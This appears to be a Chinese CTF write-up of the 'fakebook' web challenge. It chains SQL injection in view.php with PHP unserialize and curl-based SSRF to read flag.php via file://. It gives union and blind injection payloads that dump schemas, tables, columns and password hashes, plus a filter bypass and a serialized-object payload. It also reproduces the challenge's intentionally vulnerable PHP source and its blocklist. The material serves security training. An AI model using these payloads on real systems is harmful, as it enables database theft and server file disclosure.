通过网站功能,猜测存在ssrf,因为读和解析url_blog
但是直接在注册功能处通过file://{flag}不成功,猜测是过滤了,源码中isValidBlog确实检测了http,然后注册http://flag.php,查看后无内容返回,应该是没有回显,以$flag的形式存在
sql注入
注册后访问id存在sql注入
payload:
这个题用报错注入也能成功
1
| ?n0=0%20unionselect%201,database(),3,4%23
|
注意select的字段位置,由源码得知数据库字段为no(int),username(char),age(int),data(char),database()是字符串,在2,4位置能报出来,但4需要unserialize,输入的内容是序列化的字符串,只能在2爆
union是联合,如果前一个select正确时,不会返回右边的select结果
盲注:
1 2 3 4
| payload = '1+and+(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),{},1))={})%23'.format(i, j) payload = '1+and+(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=test)),{},1))={})%23'.format(i,j) payload = '1+and+(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name=\'users\')),{},1))={})%23'.format(i,j) payload = '1+and+(ascii(substr((select(group_concat(passwd))from(users)),{},1))={})%23'.format(i,j)
|
爆出来
database = ‘fakebook’
table_name = ‘users’
columns = ‘no,username,passwd,data’
data = O:8:”UserInfo”:3:{s:4:”name”;s:1:”1”;s:3:”age”;i:1;s:4:”blog”;s:20:”http://www.baidu.com";}
ssrf
unserialize data 得到UserInfo类name、age、blog
结合curl(blog),存在ssrf
在blog通过file://读取flag文件
构造payload序列化
(这题存在filescan,robots.txt->user.php.bak,可以知道UserInfo类具体内容,和blacklists,我直接猜了)
/60AD6330-7784-4534-8FE0-FBB668942E2A.png)
然后通过sql注入得到
1 2 3 4 5 6 7 8 9 10 11 12
| <?php
class UserInfo{ public $name = '1'; public $age = 1; public $blog = "file:///var/www/html/flag.php"; } $a = new UserInfo();
echo serialize($a); ?>
|
payload:
1
| view.php?no=0%20union/**/select%201,2,3,%27O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}%27%20from%20users%20%23
|
有个小技巧,不需要base64decode,直接查看chrome网页源代码得到解码后的
/31567B76-5C98-45E8-8824-CFE78046826D.png)
ssrf_网页源码
通过这种方式得到部分源码:
user.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| <?php
class UserInfo { public $name = ""; public $age = 0; public $blog = "";
public function __construct($name, $age, $blog) { $this->name = $name; $this->age = (int)$age; $this->blog = $blog; }
function get($url) { $ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $output = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if($httpCode == 404) { return 404; } curl_close($ch);
return $output; }
public function getBlogContents () { return $this->get($this->blog); }
public function isValidBlog () { $blog = $this->blog; return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog); }
}
|
view.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74
| <?php session_start(); ?> <?php require_once 'db.php'; ?> <?php require_once 'user.php'; ?> <?php require_once 'error.php'; ?> <?php $db = new DB(); ?> <!doctype html> <html lang="ko"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge"> <title>User</title> <?php require_once 'bootstrap.php'; ?> </head> <body> <?php $no = $_GET['no']; if ($db->anti_sqli($no)) { die("no hack ~_~"); } $res = $db->getUserByNo($no); $user = unserialize($res['data']);
?> <div class="container"> <table class="table"> <tr> <th> username </th> <th> age </th> <th> blog </th> </tr> <tr> <td> <?php echo $res['username']; ?> </td> <td> <?php echo $user->age; ?> </td> <td> <?php echo xss($user->blog); ?> </td> </tr> </table> <hr> <br><br><br><br><br> <p>the contents of his/her blog</p> <hr> <?php $response = $user->getBlogContents(); if ($response === 404) { echo "404 Not found"; } else { $base64 = base64_encode($response); echo "<iframe width='100%' height='10em' src='data:text/html;base64,{$base64}'>"; } ?> </div> </body> </html>
|
db.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80
| <?php
require_once 'lib.php'; $mysqli = new mysqli('127.0.0.1', 'root', 'naiwjebfahjebfja', 'fakebook');
class DB {
function __construct() { }
public function isValidUsername($username) { global $mysqli; $query = "select * from users where username = '{$username}'"; $res = $mysqli->query($query); if (!$res->fetch_array()) { return 1; } else { return 0; }
}
function login($username, $passwd) { global $mysqli;
$username = addslashes($username); $passwd = sha512($passwd); $query = "select * from users where username = '{$username}' and passwd = '{$passwd}'"; $res = $mysqli->query($query);
return $res->fetch_array(); }
function insertUser($username, $passwd, $data) { global $mysqli;
$username = substr($username, 0, 100); $username = addslashes($username); $passwd = sha512($passwd); $data = serialize($data); $data = addslashes($data);
$query = "insert into users (username, passwd, data) values ('{$username}', '{$passwd}', '{$data}')"; return $mysqli->real_query($query); }
public function getAllUsers() { global $mysqli;
$query = "select * from users"; $res = $mysqli->query($query); return $res->fetch_all(MYSQLI_ASSOC); }
public function getUserByNo($no) { global $mysqli;
$query = "select * from users where no = {$no}"; $res = $mysqli->query($query); if (!$res) { echo "<p>[*] query error! ({$mysqli->error})</p>"; }
return $res->fetch_assoc(); }
public function anti_sqli($no) { $patterns = "/union\Wselect|0x|hex/i";
return preg_match($patterns, $no); }
}
|